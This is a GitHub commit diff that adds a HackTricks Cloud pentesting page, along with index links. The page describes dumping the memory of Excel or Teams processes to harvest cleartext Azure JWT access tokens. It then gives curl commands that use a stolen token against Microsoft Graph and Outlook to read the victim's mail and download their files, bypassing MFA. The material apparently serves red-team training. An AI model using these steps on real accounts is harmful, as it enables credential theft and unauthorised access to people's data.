Skip to content

Commit e15f924

Browse files
carlospolopgitbook-bot
authored andcommitted
GITBOOK-647: No subject
1 parent eabd436 commit e15f924

File tree

3 files changed

+67
-1
lines changed

3 files changed

+67
-1
lines changed

SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -409,6 +409,7 @@
409409
* [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
410410
* [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
411411
* [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
412+
* [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
412413
* [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
413414
* [Az - Persistence](pentesting-cloud/azure-security/az-persistence.md)
414415
* [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)

pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ The most interesting type of token is the Primary Refresh Token (PRT).
5757
From the **compromised machine to the cloud**:
5858

5959
* [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login
60-
* **Dump processes access tokens**: As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might store access tokens in clear-text in memory. So just dumping the memory of the process and grepping for JWT tokens might grant you access over several resources of the victim in the cloud bypassing MFA.
60+
* [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text.
6161
* [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it
6262
* [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it.
6363
* [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# Az - Processes Memory Access Token
2+
3+
{% hint style="success" %}
4+
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image.png" alt="" data-size="line">\
5+
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
6+
7+
<details>
8+
9+
<summary>Support HackTricks</summary>
10+
11+
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
12+
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
13+
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
14+
15+
</details>
16+
{% endhint %}
17+
18+
## **Basic Information**
19+
20+
As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
21+
22+
Steps:
23+
24+
1. Dump the excel processes syncronized with in EntraID user with your favourite tool.
25+
2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
26+
3. Find the tokens that interest you the most and run tools over them:
27+
28+
{% code overflow="wrap" %}
29+
```bash
30+
# Check the identity of the token
31+
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
32+
33+
# Check the email (you need a token authorized in login.microsoftonline.com)
34+
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
35+
36+
# Download a file from Teams
37+
## You need a token that can access graph.microsoft.com
38+
## Then, find the <site_id> inside the memory and call
39+
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
40+
41+
## Then, list one drive
42+
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
43+
44+
## Finally, download a file from that drive:
45+
┌──(magichk㉿black-pearl)-[~]
46+
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
47+
```
48+
{% endcode %}
49+
50+
**Note that these kind of access tokens can be also found inside other processes.**
51+
52+
{% hint style="success" %}
53+
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image.png" alt="" data-size="line">\
54+
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
55+
56+
<details>
57+
58+
<summary>Support HackTricks</summary>
59+
60+
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
61+
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
62+
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
63+
64+
</details>
65+
{% endhint %}

0 commit comments

Comments
 (0)